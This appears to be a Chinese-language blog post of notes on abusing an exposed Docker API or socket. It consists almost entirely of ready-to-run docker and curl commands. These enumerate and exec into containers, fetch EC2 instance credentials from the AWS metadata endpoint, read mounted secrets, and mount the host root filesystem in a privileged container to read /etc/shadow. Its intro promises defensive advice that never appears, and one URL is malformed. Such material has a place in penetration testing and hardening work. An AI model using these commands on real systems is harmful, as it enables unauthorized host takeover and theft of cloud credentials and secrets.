Docker API安全漏洞分析与滥用实践

本文详细分析了Docker API和Socket的安全风险,展示了如何通过暴露的Docker接口执行容器命令、获取敏感信息、挂载主机文件系统等攻击技术,包含多个实际攻击案例和防护建议。

滥用Docker API | Socket

关于滥用开放Docker Socket的笔记

本文不涉及从Docker容器中逃逸的内容

端口:通常为2375和2376,但可以是任何端口

启用Docker Socket(创建练习环境)

暴露Docker API | Socket本质上等同于授予系统上任何容器的root权限

守护进程默认监听在unix:///var/run/docker.sock,但您可以将Docker绑定到其他主机/端口或Unix socket。

Docker socket是Docker守护进程默认监听的socket,可用于从容器内与守护进程通信,或者如果配置了,也可以从容器外部与运行Docker的主机通信。

通过Docker客户端操作

验证是否为Docker:

1
$ curl -s http://open.docker.socket:2375/version | jq

或使用Docker客户端:

1
docker -H open.docker.socket:2375 version

获取运行容器列表:

1
docker -H open.docker.socket:2375 ps

进入其中一个容器:

1
docker -H open.docker.socket:2375 exec -it mysql /bin/bash

其他命令:

  • 查看停止的容器:docker -H open.docker.socket:2375 ps -a
  • 查看主机上拉取的镜像:docker -H open.docker.socket:2375 images

使用curl调用API

有时您会看到2376端口用于TLS端点。虽然无法使用Docker客户端连接,但可以使用curl没有问题地访问Docker API。

Docker socket到元数据URL

以下是访问内部AWS元数据URL并获取输出的示例:

列出容器:

1
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq

列出容器中的进程:

1
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq

设置执行任务以访问元数据URL:

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

获取输出:

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

Docker密钥

列出密钥(无密钥/群集未设置):

1
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

检查挂载内容:

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

查看挂载的密钥:

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

创建挂载主机文件系统的容器

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

从主机读取内容:

1
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'

清理

停止容器:

1
curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

删除停止的容器:

1
curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计